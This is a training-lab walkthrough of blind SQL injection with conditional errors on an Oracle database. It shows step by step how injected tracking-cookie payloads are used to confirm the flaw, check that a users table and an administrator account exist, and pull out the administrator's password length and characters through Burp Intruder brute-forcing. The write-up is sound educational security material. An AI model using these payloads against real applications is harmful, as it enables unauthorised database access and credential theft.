Blind SQL injection with conditional errors
As we discussed in preceding Lab exercise, Blind SQL injection is a type of SQL injection attack that asks the database true or false questions and determines the answer based on the application’s behavior.In some cases, you may be injecting a subquery or a batched query whose results are not processed by the application in any way. In this situation, you may struggle to find a way to cause a detectable difference in behavior that is contingent on a specific condition.
Since a database error can often externally detectable either through an HTTP 500 response code or through an anomalous behavior of the web application, You can inject a query that generated a database error contingent on some specified condition to trigger a detectable difference in the behavior in most circumstances.
Consider the following example.
SELECT X FROM Y WHERE Z
This causes the database to work through each row of table Y
, evaluating
condition Z
, and returning expression X
if the condition Z
is true. If condition Z
is never true, the expression X
is never evaluated.
This behavior can be exploited by finding an expression X
that is syntactically valid but generates an error if it is ever evaluated. An example of such an expression in Oracle and MS-SQL is a divide-by-zero computation(1/0). If condition Z
is ever true, expression X
is evaluated, causing a database error. If condition Z is always false, no error is generated. You can, therefore use the presence or absence of an error to test an arbitrary condition Z
.
Let’s look at the following query, which tests whether the user Weiner exists in the database.
SELECT 1/0 FROM dual WHERE (SELECT username FROM users WHERE username = 'Weiner') = 'Weiner'
According to the SQL query order of execution, FROM
clause is evaluated first to determine the total working set of data that is being queried. Once we have the total working set of data, the first-pass WHERE
constraints are applied to the individual rows, and rows that do not satisfy the constraint are discarded.
- Determine the data
FROM
dual table - Apply the
WHERE
constraint [(SELECT username FROM users WHERE username = ‘Weiner’) = ‘Weiner’
] - Determine the data FROM users table
- Apply the
WHERE
constraint [username='Weiner'
]. If this user'Weiner'
exists, - Any expressions in the
SELECT
part of the query are finally computed.
As a result, expression 1/0
is evaluated,causing an error:
Consider the following use case where We query the database to check whether an invented user 'Smith'
exist in the database:
SELECT 1/0 FROM dual WHERE (SELECT username FROM users WHERE username = 'Smith') = 'Smith'
- Determine the data
FROM dual table
- Apply the WHERE constraint [
(SELECT username FROM users WHERE username = 'Smith') = 'Smith'
] - Determine the data
FROM users table
- Apply the
WHERE
constraint [username = 'Smith'
]
Since the user 'Smith'
doesn’t exist in the database,SELECT
part of the query is never evaluated so no error occurs.
Therefore you can use this technique to induce a conditional response within the application.
Let’s solve the Lab Exercise Blind SQL injection with conditional errors
Lab Exercise Analysis
Vulnerability : Blind SQL injection
Vulnerable Parameter : Tracking Cookie
Tracking Cookie ID : IKd5TzaKWk78qU95
The results of the SQL query are not returned, and the application does not respond differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
STEP #1
Confirm that the tracking cookie parameter is vulnerable to SQL injection.
Modify the Tracking Cookie by appending a single quotation mark to it.
Single quotation mark → ERROR
Now append two quotation marks to it.
Double quotation mark → NO ERROR
By looking at the above observations, we can say that the syntax error causes a difference in behavior of the application.
STEP #2
Confirm that the server is interpreting the injections as a SQL query.
Modify the Tracking cookie by adding the following SQL subquery.
' || (SELECT '') || '
Even Though the above subquery is syntactically correct, it generates an error. This may be due to the database type. So let’s try adding the dual table
to the query.
' || (SELECT '' FROM dual) || '
As you no longer get an error, this indicates that the target application is probably using Oracle database
.
Let’s try to inject an invalid query while still preserving the valid SQL syntax.
' || (SELECT '' FROM test_table) || '
If you are able to inject a SQL query which is always syntactically valid, you can use the error responses to infer useful information from the database.
STEP #3
Confirm that the users table exists in the database.
' || (SELECT '' FROM users) || '
Above query will return an empty entry for each row of the users table
. Which means if the users table
contains 5 records, the above query will return 5 empty entries which might break the concatenation. In order to prevent the query from returning more than one row, you can use the following SQL query.
' || (SELECT '' FROM users WHERE rownum=1) || '
rownum=1
will ensure that the query returns only one entry.
STEP #4
Confirm that the administrator user exists in the database.
True case
' || (SELECT '' FROM users WHERE username='administrator') || '
Query the database to check whether an invented user 'randomuser'
exists in the database.
False case
' || (SELECT '' FROM users WHERE username='randomuser') || '
As you get HTTP 200
code in both true case
and false case
, we have to find another way of injecting a SQL query which causes a different behavior in the false case.
True case
'|| (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
According to the SQL query order of execution, above query will execute as follows:
- Determine the data
FROM dual table
- Validate the condition
CASE WHEN(1=1)
. Since1=1
is always true, TO_CHAR(1/0)
evaluated causing an error
False case
' || (SELECT CASE WHEN(1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
According to the SQL query order of execution, above query will execute as follows:
- Determine the data
FROM dual table
- Validate the condition
CASE WHEN(1=0)
. Since1=0
is always false, TO_CHAR(1/0)
never evaluated therefore no error
We can use this behavior to check whether the administrator user
exists in the database.
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='randomuser') || '
STEP #5
Determine the length of the password
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and LENGTH(password)>1) || '
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and LENGTH(password)>30) || '
According to the above test cases, we need to check the application for, n=1
and n=<30
separately.
If we can send a series of requests changing the n
until we get a HTTP 200
response code, we could get the length of the password.
LENGTH(password)>1→ ERROR (HTTP 500)
LENGTH(password)>2 → ERROR (HTTP 500)
LENGTH(password)>3 → ERROR (HTTP 500)
LENGTH(password)>m → NO ERROR (HTTP 200) → number of characters in the password = m
You can find m
using Burp suite Intruder as follows:
STEP #6
Determine the password of the administrator user.
To determine the password of the administrator
user, we have to send a series of requests to test the password one character at a time.
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password, 1, 1) = 'a') || '
SUBSTRING(password, 1 ,1) = ‘a’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 2 ,1) = ‘a’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 3 ,1) = ‘a’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 4 ,1) = ‘a’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 5 ,1) = ‘a’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 20 ,1) = ‘a’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 1 ,1) = ‘b’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 2 ,1) = ‘b’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 3 ,1) = ‘b’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 4 ,1) = ‘b’ — — — — — > 200 (NO ERROR)
SUBSTRING(password, 5 ,1) = ‘b’ — — — — — > 500 (Internal Server Error)
SUBSTRING(password, 20 ,1) = ‘b’ — — — — — > 200 (NO ERROR)
Since the password can be a
- Lowercase letter
- Uppercase letter
- Digit
- Special character
We need to check for all the possibilities.
Let’s get the first character of the password.
First character of the password is ‘3’.
Let’s get the password.
If you are a Burp Suite community edition user, This whole process will take hours to run. Instead of doing the bruteforce in Burp Suite community edition, you can do this using a python script.
You can get the python script from here.